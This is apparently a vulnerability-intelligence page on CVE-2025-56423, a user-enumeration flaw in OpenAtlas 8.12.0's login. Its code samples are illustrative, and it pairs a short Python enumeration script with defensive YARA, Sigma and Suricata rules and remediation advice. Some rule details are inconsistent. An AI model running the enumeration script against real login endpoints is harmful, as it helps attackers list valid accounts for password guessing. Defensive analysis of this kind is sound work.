☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2025-56423

CVE-2025-56423 Information Disclosure in Austrian academy of sciences
📅 PUBLISHED: 2025-11-24 00:00 UTC 🔄 UPDATED: 2026-09-23 20:40 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.31%
👁️
0.31% probability
7.8× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-56423 is an information disclosure vulnerability in the Austrian Academy of Sciences (AW) Austrian Archaeological Institute's OpenAtlas application, version 8.12.0. The flaw allows a remote attacker to obtain sensitive information through the application's login error messages. This is a classic instance of CWE-209 (Generation of Error Message Containing Sensitive Information), where verbose error responses can leak usernames, email addresses, or other internal system details. While the CVSS score is listed as 0.0 (likely unassigned or placeholder), the practical risk is elevated due to the potential for user enumeration and subsequent targeted attacks. No public proof-of-concept (PoC) or patch is currently available.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a Python-based web application (OpenAtlas). The application is not distributed via PyPI, NPM, Go, or Ruby registries; it is a standalone project hosted by the Austrian Academy of Sciences. Therefore, supply chain package security is not directly applicable, but the risk of dependency vulnerabilities in the Python ecosystem (e.g., Flask, SQLAlchemy) should be considered during remediation.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which typically indicates an unassigned or placeholder value. Based on the vulnerability description, a reasonable CVSS v3.1 vector would be:

  • Attack Vector (AV): Network (N)
  • Attack Complexity (AC): Low (L)
  • Privileges Required (PR): None (N)
  • User Interaction (UI): None (N)
  • Scope (S): Unchanged (U)
  • Confidentiality (C): Low (L)
  • Integrity (I): None (N)
  • Availability (A): None (N)

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N Estimated Base Score: 5.3 (Medium)

Threat Level: Medium. The vulnerability allows information gathering (user enumeration) but does not directly lead to code execution or data modification. However, it can be a stepping stone for more severe attacks.

Deep Dive & Mechanics

The vulnerability resides in the login mechanism of OpenAtlas v8.12.0. When a user submits invalid credentials, the application returns an error message that differentiates between a non-existent username and an incorrect password. This is a classic user enumeration flaw.

Technical Flow:

  1. An attacker sends a POST request to the login endpoint (e.g., /login) with a username and password.
  2. The application queries the database for the username.
  3. If the username does not exist, the application returns a message like "User not found" or "Invalid username".
  4. If the username exists but the password is wrong, the application returns a message like "Invalid password" or "Incorrect credentials".
  5. By analyzing these distinct error messages, an attacker can compile a list of valid usernames.

Root Cause: The application does not use a generic error message (e.g., "Invalid username or password") for all failed login attempts. This is a violation of secure coding best practices.

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable code pattern and the expected fix.

Vulnerable Code (Python/Flask example):

@app.route('/login', methods=['POST'])
def login():
    username = request.form['username']
    password = request.form['password']
    user = User.query.filter_by(username=username).first()
    if user is None:
        return "User not found", 401
    if not check_password_hash(user.password_hash, password):
        return "Invalid password", 401
    # successful login
    return redirect(url_for('dashboard'))

Patched Code (Expected fix):

@app.route('/login', methods=['POST'])
def login():
    username = request.form['username']
    password = request.form['password']
    user = User.query.filter_by(username=username).first()
    if user is None or not check_password_hash(user.password_hash, password):
        return "Invalid username or password", 401
    # successful login
    return redirect(url_for('dashboard'))

The fix uses a single, generic error message for all failed login attempts, preventing user enumeration.

Exploitation & Lab Setup

Red Team (Attacker)

Lab Setup:

  1. Deploy OpenAtlas v8.12.0 in a Docker container or virtual machine.
  2. Ensure the application is accessible over the network.

Exploitation Steps:

  1. User Enumeration: Use a script to send login requests with a list of potential usernames.
    import requests
    
    target_url = "http://target/login"
    usernames = ["admin", "user", "test", "john", "jane"]
    
    for username in usernames:
        data = {"username": username, "password": "wrongpassword"}
        response = requests.post(target_url, data=data)
        if "User not found" in response.text:
            print(f"{username}: NOT FOUND")
        elif "Invalid password" in response.text:
            print(f"{username}: VALID USER")
    
  2. Information Gathering: Once valid usernames are identified, attempt password guessing or credential stuffing attacks.

Blue Team (Defender)

Detection:

  • Monitor for multiple login attempts with different usernames from the same IP address.
  • Alert on HTTP 401 responses with specific error messages (e.g., "User not found", "Invalid password").

Mitigation:

  • Implement rate limiting on the login endpoint.
  • Use a Web Application Firewall (WAF) to block automated enumeration attempts.
  • Apply the patch as soon as it becomes available.

Indicators of Compromise (IOCs)

  • Network:
    • Multiple POST requests to /login with varying username parameters.
    • HTTP 401 responses containing "User not found" or "Invalid password".
  • Logs:
    • Application logs showing repeated failed login attempts with different usernames.
    • Web server logs (e.g., Apache/Nginx) showing high frequency of /login requests from a single IP.
  • File System:
    • No specific file-based IOCs.

Detection Engineering

YARA Rule

rule Detect_OpenAtlas_User_Enumeration {
    meta:
        description = "Detects user enumeration attempts against OpenAtlas login"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-56423"
    strings:
        $user_not_found = "User not found" nocase
        $invalid_password = "Invalid password" nocase
    condition:
        any of them
}

Sigma Rule

title: OpenAtlas User Enumeration via Login Error Messages
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects multiple login attempts with different usernames resulting in distinct error messages.
author: Valters IT
date: 2025-04-10
logsource:
    category: application
    product: openatlas
detection:
    selection:
        event: login_failed
        error_message:
            - "User not found"
            - "Invalid password"
    condition: selection
falsepositives:
    - Legitimate users mistyping usernames
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-56423 OpenAtlas User Enumeration Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/login"; http_uri;
    content:"username="; http_client_body;
    pcre:"/User not found|Invalid password/";
    sid:1000001;
    rev:1;
    reference:cve,2025-56423;
    priority:2;
)

Remediation & Mitigation

Immediate Actions:

  1. Apply Generic Error Messages: Modify the login endpoint to return a single, generic error message (e.g., "Invalid username or password") for all failed login attempts.
  2. Rate Limiting: Implement rate limiting on the login endpoint to prevent automated enumeration.
  3. Monitor Logs: Review application and web server logs for signs of enumeration attempts.

Long-Term Fixes:

  • Patch: Await an official patch from the Austrian Academy of Sciences. Monitor their GitHub repository or security advisories.
  • Code Review: Conduct a security code review of the authentication mechanism to identify other potential information disclosure issues.
  • WAF Rules: Deploy WAF rules to block requests containing patterns like "User not found" in responses.

Workarounds:

  • If patching is not immediately possible, consider placing the login page behind a reverse proxy that can filter or modify error messages.

Report generated by Valters IT DevSecOps & CTI Framework

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-56423/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.